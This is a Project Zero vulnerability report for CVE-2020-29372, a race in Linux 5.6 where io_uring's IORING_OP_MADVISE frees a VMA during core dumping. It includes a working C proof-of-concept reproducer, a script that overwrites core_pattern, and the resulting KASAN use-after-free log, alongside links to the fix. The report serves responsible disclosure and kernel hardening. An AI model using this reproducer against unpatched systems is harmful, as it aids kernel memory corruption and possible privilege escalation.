☆ Starred by 2 users

Owner:	jannh@google.com
CC:	proje...@google.com
Status:	Fixed *(Closed)*
Components:	----
Modified:	Dec 1, 2020

Severity-Medium
Deadline-90
Vendor-Linux
CCProjectZeroMembers
Finder-jannh
Methodology-source-review
Product-
Reported-2020-Apr-24
Fixed-2020-Apr-29
CVE-2020-29372

Participant's Hotlists:	linux-usermm-or-drivermm

Issue 2029: Linux 5.6: IORING_OP_MADVISE races with coredumping

Reported by jannh@google.com on Thu, Apr 23, 2020, 8:52 PM EDT Project Member

Code 1 of 13 Back to list

Last year, I noticed that core dumping iterates over current->mm's VMA list without proper locking, under the assumption that the VMA list can not be modified externally. This assumption was broken by userfaultfd, which can trigger VMA merging remotely. The detailed bug report is at <~~https://crbug.com/project-zero/1790~~>.

The fix was <https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=04f5866e41fb70690e28397487d8bd8eea7d712a>: Everything that does down_write(...->mmap_sem) on an mm not belonging to the current process must now check mmget_still_valid() before actually mutating things like the VMA list.

Unfortunately, I missed that db08ca25253d ("mm: make do_madvise() available internally") and c1ca757bd6f4 ("io_uring: add IORING_OP_MADVISE") (both introduced in 5.6) exposed the madvise logic to a kthread running under use_mm() - so even though `down_write_killable(&current->mm->mmap_sem)` is used in do_madvise(), we still need the mmget_still_valid() check.

(For madvise() specifically, we should probably add mmget_still_valid() anyway because of Minchan Kim's "introduce memory hinting API for external process" series <https://lore.kernel.org/lkml/20200302193630.68771-1-minchan@kernel.org/#r>, since that converts the madvise() logic to be able to operate on remote processes via a new syscall. It isn't _strictly_ necessary, though, since that new syscall only exposes advice types that only take the mmap_sem for reading.)

From a quick look, my first impression is that outside of io_uring, the other users of use_mm() probably just use it for normal memory accesses (and the associated page fault handling). Still, this seems kind of fragile...

So, I'm not sure: Should we just go with the simple fix and slap an mmget_still_valid() into do_madvise() (and remember to think about this whenever yet another piece of kernel code is exposed to remote mm access)? Or is there a better solution that is sufficiently simple that we can ship it as a stable fix?

I guess, at least as refactoring after fixing this, we should probably rewrite elf_coredump() to hold the mmap_sem - and if we're worried about deadlocking issues caused by holding the mmap_sem across blocking operations, do the same dance with dropping and retaking it that we're already doing in other places, like for page fault handling?

Here's a root-only KASAN reproducer. You should also be able to hit the bug as a normal user, especially if you use FUSE - see the memory-leaking PoC in my bug report for the original bug -, but this way it's easier.

```
========================================================================
$ cat > coredump_helper.c
#include <unistd.h>
#include <stdlib.h>
#include <err.h>
#include <stdbool.h>

int main(void) {
  char buf[1024];
  size_t total = 0;
  bool slept = false;
  while (1) {
    int res = read(0, buf, sizeof(buf));
    if (res == -1) err(1, "read");
    if (res == 0) return 0;
    total += res;
    if (total > 1024*1024 && !slept) {
      sleep(2);
      slept = true;
    }
  }
}
$ gcc -o coredump_helper coredump_helper.c
$ cat > set_helper.sh
#!/bin/sh
echo "|$(realpath ./coredump_helper)" > /proc/sys/kernel/core_pattern
$ sudo ./set_helper.sh
$ cat > dumpme.c
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <err.h>
#include <unistd.h>
#include <sys/mman.h>
#include <linux/io_uring.h>

#define SYSCHK(x) ({          \
  typeof(x) __res = (x);      \
  if (__res == (typeof(x))-1) \
    err(1, "SYSCHK(" #x ")"); \
  __res;                      \
})


int main(void) {
  void *area = SYSCHK(mmap(NULL, 1024*1024*2, PROT_READ|PROT_WRITE|PROT_EXEC,
                           MAP_PRIVATE|MAP_ANONYMOUS, -1, 0));
  memset(area, 'O', 1024*1024*2);
  SYSCHK(madvise(area+0x1000, 256*0x1000, MADV_RANDOM));

  // initialize uring
  struct io_uring_params params = { };
  int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/10, &params));
  unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
                                       MAP_SHARED, uring_fd,
                                       IORING_OFF_SQ_RING));
  unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
                                       MAP_SHARED, uring_fd,
                                       IORING_OFF_CQ_RING));
  struct io_uring_sqe *sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
                                          MAP_SHARED, uring_fd,
                                          IORING_OFF_SQES));

  // prepare delayed madvise via uring
  struct timespec ts = { .tv_sec = 1 };
  sqes[0] = (struct io_uring_sqe) {
    .opcode = IORING_OP_TIMEOUT,
    .flags = IOSQE_IO_HARDLINK,
    .len = 1,
    .addr = (unsigned long)&ts
  };
  sqes[1] = (struct io_uring_sqe) {
    // no ioprio, buf_index, off
    .opcode = IORING_OP_MADVISE,
    .addr = (unsigned long)area+1024*4/**1024*/,
    .len = 1024*1024,
    .fadvise_advice = MADV_NORMAL
  };
  ((int*)(sq_ring + params.sq_off.array))[0] = 0;
  ((int*)(sq_ring + params.sq_off.array))[1] = 1;
  (*(int*)(sq_ring + params.sq_off.tail)) += 2;

  int submitted = SYSCHK(syscall(__NR_io_uring_enter, uring_fd,
                                 /*to_submit=*/2, /*min_complete=*/0,
                                 /*flags=*/0, /*sig=*/NULL, /*sigsz=*/0));
  printf("submitted %d\n", submitted);

  *(volatile char *)0 = 42;
}
$ gcc -o dumpme dumpme.c
$ ./dumpme
submitted 2
Segmentation fault (core dumped)
$
========================================================================
```

Here's the corresponding ASAN splat - you can see that the io_wqe_worker()
yanked a VMA out from under elf_core_dump():

```
==========================================================================
[  203.694625] dumpme[2362]: segfault at 0 ip 000055db6d6eb52d sp 00007ffccd03add0 error 6 in dumpme[55db6d6eb000+1000]
[  203.697199] Code: 00 00 00 e8 65 fb ff ff 48 8b 45 a0 89 45 9c 8b 45 9c 89 c6 48 8d 3d 1b 0d 00 00 b8 00 00 00 00 e8 18 fb ff ff b8 00 00 00 00 <c6> 00 2a b8 00 00 00
00 c9 c3 66 0f 1f 84 00 00 00 00 00 41 57 49
[  205.735267] ==================================================================
[  205.739840] BUG: KASAN: use-after-free in elf_core_dump+0x2208/0x22ea
[  205.743281] Read of size 8 at addr ffff8880665dac70 by task dumpme/2362

[  205.750395] CPU: 2 PID: 2362 Comm: dumpme Not tainted 5.7.0-rc2+ #662
[  205.752900] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1 04/01/2014
[  205.755140] Call Trace:
[  205.755795]  dump_stack+0x97/0xe0
[  205.756590]  print_address_description.constprop.0.cold+0xd3/0x347
[...]
[  205.759156]  __kasan_report.cold+0x35/0x4d
[...]
[  205.760969]  kasan_report+0x38/0x50
[  205.761859]  elf_core_dump+0x2208/0x22ea
[...]
[  205.773167]  do_coredump+0x1213/0x182b
[...]
[  205.780364]  get_signal+0x6e5/0x1130
[  205.781025]  do_signal+0x8c/0xd20
[...]
[  205.790040]  exit_to_usermode_loop+0x81/0xf0
[  205.790592]  prepare_exit_to_usermode+0x19e/0x1f0
[  205.791168]  ret_from_intr+0x25/0x2a
[...]

[  205.801415] Allocated by task 2362:
[  205.801906]  save_stack+0x1b/0x40
[  205.802323]  __kasan_kmalloc.constprop.0+0xc2/0xd0
[  205.803071]  kmem_cache_alloc+0xfe/0x310
[  205.803540]  vm_area_alloc+0x1c/0x90
[  205.804016]  mmap_region+0x3f5/0x9a0
[  205.804484]  do_mmap+0x3c4/0x6d0
[  205.805630]  vm_mmap_pgoff+0x153/0x1b0
[  205.806208]  do_syscall_64+0xb8/0x400
[  205.806695]  entry_SYSCALL_64_after_hwframe+0x49/0xb3

[  205.807499] Freed by task 2364:
[  205.807964]  save_stack+0x1b/0x40
[  205.808416]  __kasan_slab_free+0x120/0x160
[  205.809036]  kmem_cache_free+0xa1/0x3c0
[  205.809531]  __vma_adjust+0x531/0xee0
[  205.810040]  vma_merge+0x6d8/0x6f0
[  205.810448]  do_madvise+0x78b/0xd50
[  205.810930]  io_issue_sqe+0x11b5/0x1b10
[  205.811427]  io_wq_submit_work+0x55/0xb0
[  205.811944]  io_worker_handle_work+0x37f/0x9e0
[  205.812578]  io_wqe_worker+0x623/0x7a0
[  205.813232]  kthread+0x1cc/0x220
[  205.813725]  ret_from_fork+0x24/0x30

[  205.814428] The buggy address belongs to the object at ffff8880665dac60
                which belongs to the cache vm_area_struct of size 200
[  205.815995] The buggy address is located 16 bytes inside of
                200-byte region [ffff8880665dac60, ffff8880665dad28)
[...]
==========================================================================
```

This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2020-07-23. Disclosure at an earlier date is possible if the bug has been fixed in Linux stable releases (per agreement with security@kernel.org folks).

Comment 1 by jannh@google.com on Mon, Apr 27, 2020, 4:13 AM EDT Project Member

Status: Fixed (was: New)

Backportable fix: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=bc0c4d1e176eeb614dc8734fc3ace34292771f11
Queued up for 5.6.8 stable: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git/commit/?h=queue/5.6&id=242565b027a815cc47bdced37b43734017728ea6

There will probably also be refactoring on mainline to replace the current mmget_still_valid() workaround with proper locking in the coredump code.

Comment 2 by jannh@google.com on Thu, May 7, 2020, 1:16 PM EDT Project Member

Labels: -Restrict-View-Commit

5.6.8 was released 2020-04-29

Comment 3 by jannh@google.com on Mon, Nov 16, 2020, 3:34 PM EST Project Member

Labels: Fixed-2020-Apr-29

Comment 4 by jannh@google.com on Tue, Dec 1, 2020, 9:56 AM EST Project Member

Labels: CVE-2020-29372